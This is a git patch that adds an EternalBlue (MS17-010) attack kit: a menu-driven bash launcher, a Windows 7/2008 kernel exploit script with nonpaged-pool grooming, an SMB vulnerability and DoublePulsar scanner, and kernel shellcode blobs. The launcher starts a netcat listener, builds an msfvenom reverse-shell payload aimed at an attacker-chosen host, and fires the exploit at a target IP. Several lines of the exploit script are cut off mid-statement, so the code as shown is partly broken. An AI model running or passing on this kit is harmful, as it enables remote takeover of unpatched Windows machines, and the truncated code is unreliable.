From 3b3c44cd365e2c593cedb7d3820add5ffc2bbcda Mon Sep 17 00:00:00 2001 From: Miguel R Date: Sun, 26 Apr 2020 22:43:47 +0200 Subject: [PATCH] Add files via upload --- Win7Blue.sh | 212 +++++++++++++++ eternalblue_exploit7.py | 564 ++++++++++++++++++++++++++++++++++++++ eternalblue_scanner.py | 436 ++++++++++++++++++++++++++++++ mysmb.py | 583 ++++++++++++++++++++++++++++++++++++++++ sc_x64_kernel.bin | Bin 0 -> 772 bytes sc_x86_kernel.bin | Bin 0 -> 638 bytes 6 files changed, 1795 insertions(+) create mode 100644 Win7Blue.sh create mode 100644 eternalblue_exploit7.py create mode 100644 eternalblue_scanner.py create mode 100644 mysmb.py create mode 100644 sc_x64_kernel.bin create mode 100644 sc_x86_kernel.bin diff --git a/Win7Blue.sh b/Win7Blue.sh new file mode 100644 index 0000000..2830064 --- /dev/null +++ b/Win7Blue.sh @@ -0,0 +1,212 @@ +#!/bin/bash + +#Author: d4t4s3c +#Email: d4t4s3c@protonmail.com +#GitHub: www.github.com/d4t4s3c + +#colors +b="\033[1;37m" +r="\033[1;31m" +v="\033[1;32m" +a="\033[1;33m" +az="\033[1;34m" +nc="\e[0m" + +#var +shell=">" +n0=0 +n1=1 +n2=2 +n3=3 +n4=4 +si=✔ +no=✘ +k1="x86" +k2="x64" +z="IP?" +x="Scan IP:" +c="Scan Completed" +in="Invalid Option" +rh="¿RHOST?" +lh="¿LHOST?" +lp="¿LPORT?" +netcat="Creating listening with NETCAT" +msf="Creating SHELLCODE with MSFVENOM" + +function checkroot(){ + echo "" + echo -e "$a check root user $nc" + sleep 4 + if [ "$(id -u)" == "0" ]; then + echo "" + echo -e " $b[$v$si$b] root $nc" + sleep 4 + echo "" + else + echo "" + echo -e " $b[$r$no$b] root $nc" + sleep 4 + echo "" + echo -e "$r EXITING $nc" + sleep 4 + echo "" + exit + fi +} + +function banner(){ + echo "" + echo -e "$b┌═══════════════════════════════════┐" + echo -e "$b║$az ██╗ ██╗██╗███╗ ██╗███████╗ $b║" + echo -e "$b║$az ██║ ██║██║████╗ ██║╚════██║ $b║" + echo -e "$b║$az ██║ █╗ ██║██║██╔██╗ ██║ ██╔╝ $b║" + echo -e "$b║$az ██║███╗██║██║██║╚██╗██║ ██╔╝ $b║" + echo -e "$b║$az ╚███╔███╔╝██║██║ ╚████║ ██║ $b║" + echo -e "$b║$az ╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ $b║" + echo -e "$b║$az ██████╗ ██╗ ██╗ ██╗███████╗ $b║" + echo -e "$b║$az ██╔══██╗██║ ██║ ██║██╔════╝ $b║" + echo -e "$b║$az ██████╔╝██║ ██║ ██║█████╗ $b║" + echo -e "$b║$az ██╔══██╗██║ ██║ ██║██╔══╝ $b║" + echo -e "$b║$az ██████╔╝███████╗╚██████╔╝███████╗ $b║" + echo -e "$b║$az ╚═════╝ ╚══════╝ ╚═════╝ ╚══════╝ $b║" + echo -e "$b║$r Author $b:$a d4t4s3c $b║" + echo -e "$b║$r Email $b:$a d4t4s3c@protonmail.com $b║" + echo -e "$b║$r GitHub $b:$a www.github.com/d4t4s3c $b║" + echo -e "$b└═══════════════════════════════════┘$b" +} + +function main(){ + echo "" + echo -e "$b[$az$n1$b] Scan $nc" + echo -e "$b[$az$n2$b] Exploit Windows 7 $az$k1 $nc" + echo -e "$b[$az$n3$b] Exploit Windows 7 $az$k2 $nc" + echo -e "$b[$az$n4$b] Exit" + echo "" +} + + +function menu(){ + +read -p " $(echo -e $az$shell $nc)" opc + + if [ $opc -eq 1 ]; then + echo "" + echo -e "$b$rh$nc" + echo "" + read rhost + echo "" + echo -e "$b$x $az$rhost $nc" + echo "" + sleep 2 + python eternalblue_scanner.py $rhost + echo "" + echo -e "$b$c$nc" + sleep 4 + banner + main + menu + elif [ $opc -eq 2 ]; then + echo "" + echo -e "$b$rh$nc" + echo "" + read rhost + echo "" + echo -e "$b$lh$nc" + echo "" + read lhost + echo "" + echo -e "$b$lp$nc" + echo "" + read lport + echo "" + rm -rf sc_x86_msf.bin + rm -rf sc_x86.bin + echo -e "$b$netcat$nc" + echo "" + sleep 2 + xterm -hold -e "rlwrap nc -lvnp $lport" & + echo -e "$b$msf$nc" + echo "" + sleep 2 + msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=$lhost LPORT=$lport 2>/dev/null + sleep 1 + cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin + sleep 1 + python eternalblue_exploit7.py $rhost sc_x86.bin + exit + elif [ $opc -eq 3 ]; then + echo "" + echo -e "$b$rh$nc" + echo "" + read rhost + echo "" + echo -e "$b$lh$nc" + echo "" + read lhost + echo "" + echo -e "$b$lp$nc" + echo "" + read lport + echo "" + rm -rf sc_x64_msf.bin + rm -rf sc_x64.bin + echo -e "$b$netcat$nc" + echo "" + sleep 2 + xterm -hold -e "rlwrap nc -lvnp $lport" & + echo -e "$b$msf$nc" + echo "" + sleep 2 + msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=$lhost LPORT=$lport 2>/dev/null + sleep 1 + cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin + sleep 1 + python eternalblue_exploit7.py $rhost sc_x64.bin + exit + elif [ $opc -eq 4 ]; then + echo "" + echo "" + echo -e "$a |\/\/\/|" + echo -e " | |" + echo -e " | |" + echo -e " | (o)(o) " + echo -e " C _) " + echo -e " | ,___| " + echo -e " | / " + echo -e " /____\ " + echo -e " / \ $nc" + echo -e "$b#### $v BYE $v HACKER $b ####$nc" + echo "" + echo "" + sleep 3 + exit + else + echo "" + echo -e "$b$in$nc" + echo "" + sleep 2 + banner + main + menu + fi +} + +clear +tput civis +checkroot +sleep 2 +echo -e "$a Install Dependencies $nc" +echo "" +apt-get install xterm -y > /dev/null 2>&1 +echo -e " $b[$v$si$b] Install xterm $nc" +echo "" +sleep 2 +apt-get install rlwrap -y > /dev/null 2>&1 +echo -e " $b[$v$si$b] Install rlwrap $nc" +echo "" +sleep 2 +clear +banner +main +tput cnorm +menu \ No newline at end of file diff --git a/eternalblue_exploit7.py b/eternalblue_exploit7.py new file mode 100644 index 0000000..49c77fd --- /dev/null +++ b/eternalblue_exploit7.py @@ -0,0 +1,564 @@ +#!/usr/bin/python +from impacket import smb +from struct import pack +import sys +import socket + +''' +EternalBlue exploit for Windows 7/2008 by sleepya +The exploit might FAIL and CRASH a target system (depended on what is overwritten) + +Tested on: +- Windows 7 SP1 x64 +- Windows 2008 R2 SP1 x64 +- Windows 7 SP1 x86 +- Windows 2008 SP1 x64 +- Windows 2008 SP1 x86 + +Reference: +- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ + + +Bug detail: +- For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ +- The exploit also use other 2 bugs (see details in BUG.txt) + - Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug) + - Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole) +###### + + +Exploit info: +- I do not reverse engineer any x86 binary so I do not know about exact offset. +- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode. + This memory page is executable on Windows 7 and Wndows 2008. +- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64. +- The exploit trick is same as NSA exploit +- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool. +- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5) +- See the code and comment for exploit detail. + + +srvnet buffer info: +- srvnet buffer contains a pointer to another struct and MDL about received buffer + - Controlling MDL values results in arbitrary write + - Controlling pointer to fake struct results in code execution because there is pointer to function +- A srvnet buffer is created after target receiving first 4 bytes + - First 4 bytes contains length of SMB message + - The possible srvnet buffer size is "..., 0x9000, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough. +- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message +- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler() +- SrvNetCommonReceiveHandler() passes SMB message to SMB handler + - If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode + - If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called + - Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen. + - Memory leak is ok to be ignored + + +Shellcode note: +- Shellcode is executed in kernel mode (ring 0) and IRQL is DISPATCH_LEVEL +- Hijacking system call is common method for getting code execution in Process context (IRQL is PASSIVE_LEVEL) + - On Windows x64, System call target address can be modified by writing to IA32_LSTAR MSR (0xc0000082) + - IA32_LSTAR MSR scope is core/thread/unique depended on CPU model + - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to + get call because it is called on other processors + - Shellcode should be aware of double overwriting system call target address when using hijacking system call method +- Then, using APC in Process context to get code execution in userland (ring 3) +''' + +# Note: see how to craft FEALIST in eternalblue_poc.py + +# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000) +# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time +# the size 0x11000 is used in nsa exploit. this size is more reliable. +NTFEA_SIZE = 0x11000 +# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page + +ntfea10000 = pack('=0x10000 to trigger bug (but must be less than data size) +feaList += ntfea[NTFEA_SIZE] +# Note: +# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively +# - x64: below fea will be copy to offset 0x11000 of overflow buffer +# - x86: below fea will be copy to offset 0x10ff8 of overflow buffer +feaList += pack(' SrvNetCommonReceiveHandler() -> call fn_ptr +fake_recv_struct = pack('= 0xffff: + flags2 &= ~smb.SMB.FLAGS2_UNICODE + reqSize = size // 2 + else: + flags2 |= smb.SMB.FLAGS2_UNICODE + reqSize = size + conn.set_flags(flags2=flags2) + + pkt = smb.NewSMBPacket() + + sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) + sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() + + sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size + sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value + sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero + sessionSetup['Parameters']['SessionKey'] = 0 + sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session + # UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session + sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags + + sessionSetup['Data'] = pack(' 0: + pad2Len = (4 - fixedOffset % 4) % 4 + transCommand['Data']['Pad2'] = '\xFF' * pad2Len + else: + transCommand['Data']['Pad2'] = '' + pad2Len = 0 + + transCommand['Parameters']['DataCount'] = len(data) + transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len + transCommand['Parameters']['DataDisplacement'] = displacement + + transCommand['Data']['Trans_Parameters'] = '' + transCommand['Data']['Trans_Data'] = data + pkt.addCommand(transCommand) + + conn.sendSMB(pkt) + + +def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): + # Here is another bug in MS17-010. + # To call transaction subcommand, normally a client need to use correct SMB commands as documented in + # https://msdn.microsoft.com/en-us/library/ee441514.aspx + # If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client + # can use *_SECONDARY command to send transaction message. When sending a transaction completely with + # *_SECONDARY command, a server uses the last command that complete the transaction. + # For example: + # - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*. + # - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*. + # + # Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same. + # For example: + # - a client start transaction with SMB_COM_NT_TRANSACT command + # - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY + # - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY + # - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field) + + # From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction + # with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT + # While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount + # field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx). + # Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction) + + pkt = smb.NewSMBPacket() + pkt['Tid'] = tid + + command = pack('65535 bytes to trigger the bug. + transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) + transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() + transCommand['Parameters']['MaxSetupCount'] = 1 + transCommand['Parameters']['MaxParameterCount'] = len(param) + transCommand['Parameters']['MaxDataCount'] = 0 + transCommand['Data'] = smb.SMBTransaction2_Data() + + transCommand['Parameters']['Setup'] = command + transCommand['Parameters']['TotalParameterCount'] = len(param) + transCommand['Parameters']['TotalDataCount'] = len(data) + + fixedOffset = 32+3+38 + len(command) + if len(param) > 0: + padLen = (4 - fixedOffset % 4 ) % 4 + padBytes = '\xFF' * padLen + transCommand['Data']['Pad1'] = padBytes + else: + transCommand['Data']['Pad1'] = '' + padLen = 0 + + transCommand['Parameters']['ParameterCount'] = len(param) + transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen + + if len(data) > 0: + pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 + transCommand['Data']['Pad2'] = '\xFF' * pad2Len + else: + transCommand['Data']['Pad2'] = '' + pad2Len = 0 + + transCommand['Parameters']['DataCount'] = firstDataFragmentSize + transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len + + transCommand['Data']['Trans_Parameters'] = param + transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] + pkt.addCommand(transCommand) + + conn.sendSMB(pkt) + conn.recvSMB() # must be success + + # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data + i = firstDataFragmentSize + while i < len(data): + # limit data to 4096 bytes per SMB message because this size can be used for all Windows version + sendSize = min(4096, len(data) - i) + if len(data) - i <= 4096: + if not sendLastChunk: + break + send_trans2_second(conn, tid, data[i:i+sendSize], i) + i += sendSize + + if sendLastChunk: + conn.recvSMB() + return i + + +# connect to target and send a large nbss size with data 0x80 bytes +# this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target +# a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten) +def createConnectionWithBigSMBFirst80(target): + # https://msdn.microsoft.com/en-us/library/cc246496.aspx + # Above link is about SMB2, but the important here is first 4 bytes. + # If using wireshark, you will see the StreamProtocolLength is NBSS length. + # The first 4 bytes is same for all SMB version. It is used for determine the SMB message length. + # + # After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message. + # srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message. + # Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too. + sk = socket.create_connection((target, 445)) + # For this exploit, use size is 0x11000 + pkt = '\x00' + '\x00' + pack('>H', 0xfff7) + # There is no need to be SMB2 because we got code execution by corrupted srvnet buffer. + # Also this is invalid SMB2 message. + # I believe NSA exploit use SMB2 for hiding alert from IDS + #pkt += '\xfeSMB' # smb2 + # it can be anything even it is invalid + pkt += 'BAAD' # can be any + pkt += '\x00'*0x7c + sk.send(pkt) + return sk + + +def exploit(target, shellcode, numGroomConn): + # force using smb.SMB for SMB1 + conn = smb.SMB(target, target) + + # can use conn.login() for ntlmv2 + conn.login_standard('', '') + server_os = conn.get_server_os() + print('Target OS: '+server_os) + if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")): + print('This exploit does not support this target') + sys.exit() + + + tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') + + # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. + # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment + progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False) + # we have to know what size of NtFeaList will be created when last fragment is sent + + # make sure server recv all payload before starting allocate big NonPaged + #sendEcho(conn, tid, 'a'*12) + + # create buffer size NTFEA_SIZE-0x1000 at server + # this buffer MUST NOT be big enough for overflown buffer + allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010) + + # groom nonpaged pool + # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one + srvnetConn = [] + for i in range(numGroomConn): + sk = createConnectionWithBigSMBFirst80(target) + srvnetConn.append(sk) + + # create buffer size NTFEA_SIZE at server + # this buffer will be replaced by overflown buffer + holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10) + # disconnect allocConn to free buffer + # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer + allocConn.get_socket().close() + + # hope one of srvnetConn is next to holeConn + for i in range(5): + sk = createConnectionWithBigSMBFirst80(target) + srvnetConn.append(sk) + + # send echo again, all new 5 srvnet buffers should be created + #sendEcho(conn, tid, 'a'*12) + + # remove holeConn to create hole for fea buffer + holeConn.get_socket().close() + + # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header + send_trans2_second(conn, tid, feaList[progress:], progress) + recvPkt = conn.recvSMB() + retStatus = recvPkt.getNTStatus() + # retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag + if retStatus == 0xc000000d: + print('good response status: INVALID_PARAMETER') + else: + print('bad response status: 0x{:08x}'.format(retStatus)) + + + # one of srvnetConn struct header should be modified + # a corrupted buffer will write recv data in designed memory address + for sk in srvnetConn: + sk.send(fake_recv_struct + shellcode) + + # execute shellcode by closing srvnet connection + for sk in srvnetConn: + sk.close() + + # nicely close connection (no need for exploit) + conn.disconnect_tree(tid) + conn.logoff() + conn.get_socket().close() + + +if len(sys.argv) < 3: + print("{} [numGroomConn]".format(sys.argv[0])) + sys.exit(1) + +TARGET=sys.argv[1] +numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3]) + +fp = open(sys.argv[2], 'rb') +sc = fp.read() +fp.close() + +print('shellcode size: {:d}'.format(len(sc))) +print('numGroomConn: {:d}'.format(numGroomConn)) + +exploit(TARGET, sc, numGroomConn) +print('done') diff --git a/eternalblue_scanner.py b/eternalblue_scanner.py new file mode 100644 index 0000000..e61acd3 --- /dev/null +++ b/eternalblue_scanner.py @@ -0,0 +1,436 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +""" +$ python2.7 smb_exploit.py 192.168.206.152 +[+] [192.168.206.152] is likely VULNERABLE to MS17-010! (Windows 7 Ultimate 7600) +$ python2.7 smb_exploit.py 192.168.206.130 +[+] [192.168.206.130] is likely VULNERABLE to MS17-010! (Windows 5.1) +""" + +from ctypes import * +import socket +import struct +import logging + + +logging.basicConfig(level=logging.INFO, format="%(message)s") +log = logging.getLogger(__file__) + +# negotiate_proto_request +# session_setup_andx_request +# tree_connect_andx_request +# peeknamedpipe_request +# trans2 request + + +class SMB_HEADER(Structure): + """SMB Header decoder. + """ + + _pack_ = 1 # Alignment + + _fields_ = [ + ("server_component", c_uint32), + ("smb_command", c_uint8), + ("error_class", c_uint8), + ("reserved1", c_uint8), + ("error_code", c_uint16), + ("flags", c_uint8), + ("flags2", c_uint16), + ("process_id_high", c_uint16), + ("signature", c_uint64), + ("reserved2", c_uint16), + ("tree_id", c_uint16), + ("process_id", c_uint16), + ("user_id", c_uint16), + ("multiplex_id", c_uint16) + ] + + def __new__(self, buffer=None): + return self.from_buffer_copy(buffer) + + def __init__(self, buffer): + log.debug("server_component : %04x" % self.server_component) + log.debug("smb_command : %01x" % self.smb_command) + log.debug("error_class : %01x" % self.error_class) + log.debug("error_code : %02x" % self.error_code) + log.debug("flags : %01x" % self.flags) + log.debug("flags2 : %02x" % self.flags2) + log.debug("process_id_high : %02x" % self.process_id_high) + log.debug("signature : %08x" % self.signature) + log.debug("reserved2 : %02x" % self.reserved2) + log.debug("tree_id : %02x" % self.tree_id) + log.debug("process_id : %02x" % self.process_id) + log.debug("user_id : %02x" % self.user_id) + log.debug("multiplex_id : %02x" % self.multiplex_id) + + +def generate_smb_proto_payload(*protos): + """Generate SMB Protocol. Pakcet protos in order. + """ + hexdata = [] + for proto in protos: + hexdata.extend(proto) + return "".join(hexdata) + + +def calculate_doublepulsar_xor_key(s): + """Calaculate Doublepulsar Xor Key + """ + x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) + x = x & 0xffffffff # this line was added just to truncate to 32 bits + return x + + +def negotiate_proto_request(): + """Generate a negotiate_proto_request packet. + """ + log.debug("generate negotiate request") + netbios = [ + '\x00', # 'Message_Type' + '\x00\x00\x54' # 'Length' + ] + + smb_header = [ + '\xFF\x53\x4D\x42', # 'server_component': .SMB + '\x72', # 'smb_command': Negotiate Protocol + '\x00\x00\x00\x00', # 'nt_status' + '\x18', # 'flags' + '\x01\x28', # 'flags2' + '\x00\x00', # 'process_id_high' + '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature' + '\x00\x00', # 'reserved' + '\x00\x00', # 'tree_id' + '\x2F\x4B', # 'process_id' + '\x00\x00', # 'user_id' + '\xC5\x5E' # 'multiplex_id' + ] + + negotiate_proto_request = [ + '\x00', # 'word_count' + '\x31\x00', # 'byte_count' + + # Requested Dialects + '\x02', # 'dialet_buffer_format' + '\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00', # 'dialet_name': LANMAN1.0 + + '\x02', # 'dialet_buffer_format' + '\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00', # 'dialet_name': LM1.2X002 + + '\x02', # 'dialet_buffer_format' + '\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00', # 'dialet_name3': NT LANMAN 1.0 + + '\x02', # 'dialet_buffer_format' + '\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00' # 'dialet_name4': NT LM 0.12 + ] + + return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request) + + +def session_setup_andx_request(): + """Generate session setuo andx request. + """ + log.debug("generate session setup andx request") + netbios = [ + '\x00', # 'Message_Type' + '\x00\x00\x63' # 'Length' + ] + + smb_header = [ + '\xFF\x53\x4D\x42', # 'server_component': .SMB + '\x73', # 'smb_command': Session Setup AndX + '\x00\x00\x00\x00', # 'nt_status' + '\x18', # 'flags' + '\x01\x20', # 'flags2' + '\x00\x00', # 'process_id_high' + '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature' + '\x00\x00', # 'reserved' + '\x00\x00', # 'tree_id' + '\x2F\x4B', # 'process_id' + '\x00\x00', # 'user_id' + '\xC5\x5E' # 'multiplex_id' + ] + + session_setup_andx_request = [ + '\x0D', # Word Count + '\xFF', # AndXCommand: No further command + '\x00', # Reserved + '\x00\x00', # AndXOffset + '\xDF\xFF', # Max Buffer + '\x02\x00', # Max Mpx Count + '\x01\x00', # VC Number + '\x00\x00\x00\x00', # Session Key + '\x00\x00', # ANSI Password Length + '\x00\x00', # Unicode Password Length + '\x00\x00\x00\x00', # Reserved + '\x40\x00\x00\x00', # Capabilities + '\x26\x00', # Byte Count + '\x00', # Account + '\x2e\x00', # Primary Domain + '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00', # Native OS: Windows 2000 2195 + '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00', # Native OS: Windows 2000 5.0 + ] + + return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request) + + +def tree_connect_andx_request(ip, userid): + """Generate tree connect andx request. + """ + log.debug("generate tree connect andx request") + + netbios = [ + '\x00', # 'Message_Type' + '\x00\x00\x47' # 'Length' + ] + + smb_header = [ + '\xFF\x53\x4D\x42', # 'server_component': .SMB + '\x75', # 'smb_command': Tree Connect AndX + '\x00\x00\x00\x00', # 'nt_status' + '\x18', # 'flags' + '\x01\x20', # 'flags2' + '\x00\x00', # 'process_id_high' + '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature' + '\x00\x00', # 'reserved' + '\x00\x00', # 'tree_id' + '\x2F\x4B', # 'process_id' + userid, # 'user_id' + '\xC5\x5E' # 'multiplex_id' + ] + + ipc = "\\\\{}\IPC$\x00".format(ip) + log.debug("Connecting to {} with UID = {}".format(ipc, userid)) + + tree_connect_andx_request = [ + '\x04', # Word Count + '\xFF', # AndXCommand: No further commands + '\x00', # Reserved + '\x00\x00', # AndXOffset + '\x00\x00', # Flags + '\x01\x00', # Password Length + '\x1A\x00', # Byte Count + '\x00', # Password + ipc.encode(), # \\xxx.xxx.xxx.xxx\IPC$ + '\x3f\x3f\x3f\x3f\x3f\x00' # Service + ] + + length = len("".join(smb_header)) + len("".join(tree_connect_andx_request)) + # netbios[1] = '\x00' + struct.pack('>H', length) + netbios[1] = struct.pack(">L", length)[-3:] + + return generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request) + + +def peeknamedpipe_request(treeid, processid, userid, multiplex_id): + """Generate tran2 request + """ + log.debug("generate peeknamedpipe request") + netbios = [ + '\x00', # 'Message_Type' + '\x00\x00\x4a' # 'Length' + ] + + smb_header = [ + '\xFF\x53\x4D\x42', # 'server_component': .SMB + '\x25', # 'smb_command': Trans2 + '\x00\x00\x00\x00', # 'nt_status' + '\x18', # 'flags' + '\x01\x28', # 'flags2' + '\x00\x00', # 'process_id_high' + '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature' + '\x00\x00', # 'reserved' + treeid, + processid, + userid, + multiplex_id + ] + + tran_request = [ + '\x10', # Word Count + '\x00\x00', # Total Parameter Count + '\x00\x00', # Total Data Count + '\xff\xff', # Max Parameter Count + '\xff\xff', # Max Data Count + '\x00', # Max Setup Count + '\x00', # Reserved + '\x00\x00', # Flags + '\x00\x00\x00\x00', # Timeout: Return immediately + '\x00\x00', # Reversed + '\x00\x00', # Parameter Count + '\x4a\x00', # Parameter Offset + '\x00\x00', # Data Count + '\x4a\x00', # Data Offset + '\x02', # Setup Count + '\x00', # Reversed + '\x23\x00', # SMB Pipe Protocol: Function: PeekNamedPipe (0x0023) + '\x00\x00', # SMB Pipe Protocol: FID + '\x07\x00', + '\x5c\x50\x49\x50\x45\x5c\x00' # \PIPE\ + ] + + return generate_smb_proto_payload(netbios, smb_header, tran_request) + + +def trans2_request(treeid, processid, userid, multiplex_id): + """Generate trans2 request. + """ + log.debug("generate tran2 request") + netbios = [ + '\x00', # 'Message_Type' + '\x00\x00\x4f' # 'Length' + ] + + smb_header = [ + '\xFF\x53\x4D\x42', # 'server_component': .SMB + '\x32', # 'smb_command': Trans2 + '\x00\x00\x00\x00', # 'nt_status' + '\x18', # 'flags' + '\x07\xc0', # 'flags2' + '\x00\x00', # 'process_id_high' + '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature' + '\x00\x00', # 'reserved' + treeid, + processid, + userid, + multiplex_id + ] + + trans2_request = [ + '\x0f', # Word Count + '\x0c\x00', # Total Parameter Count + '\x00\x00', # Total Data Count + '\x01\x00', # Max Parameter Count + '\x00\x00', # Max Data Count + '\x00', # Max Setup Count + '\x00', # Reserved + '\x00\x00', # Flags + '\xa6\xd9\xa4\x00', # Timeout: 3 hours, 3.622 seconds + '\x00\x00', # Reversed + '\x0c\x00', # Parameter Count + '\x42\x00', # Parameter Offset + '\x00\x00', # Data Count + '\x4e\x00', # Data Offset + '\x01', # Setup Count + '\x00', # Reserved + '\x0e\x00', # subcommand: SESSION_SETUP + '\x00\x00', # Byte Count + '\x0c\x00' + '\x00' * 12 + ] + + return generate_smb_proto_payload(netbios, smb_header, trans2_request) + +def check(ip, port=445): + """Check if MS17_010 SMB Vulnerability exists. + """ + try: + buffersize = 1024 + timeout = 5.0 + + # Send smb request based on socket. + client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + client.settimeout(timeout) + client.connect((ip, port)) + + # SMB - Negotiate Protocol Request + raw_proto = negotiate_proto_request() + client.send(raw_proto) + tcp_response = client.recv(buffersize) + + # SMB - Session Setup AndX Request + raw_proto = session_setup_andx_request() + client.send(raw_proto) + tcp_response = client.recv(buffersize) + + netbios = tcp_response[:4] + smb_header = tcp_response[4:36] # SMB Header: 32 bytes + smb = SMB_HEADER(smb_header) + + user_id = struct.pack('".format(sys.argv[0])) + sys.exit(1) + else: + check(sys.argv[1]) + + +## References + +# https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/ +# https://www.rapid7.com/db/modules/auxiliary/scanner/smb/smb_ms17_010 +# https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/smb/smb_ms17_010.rb +# https://www.symantec.com/security_response/vulnerability.jsp?bid=96707 +# https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SMB2/[MS-SMB2]-151016.pdf +# https://msdn.microsoft.com/en-us/library/windows/desktop/aa365233(v=vs.85).aspx +# https://technet.microsoft.com/en-us/library/security/ms17-010.aspx +# https://community.rapid7.com/community/metasploit/blog/2017/04/03/introducing-rubysmb-the-protocol-library-nobody-else-wanted-to-write +# https://msdn.microsoft.com/en-us/library/ee441741.aspx +# 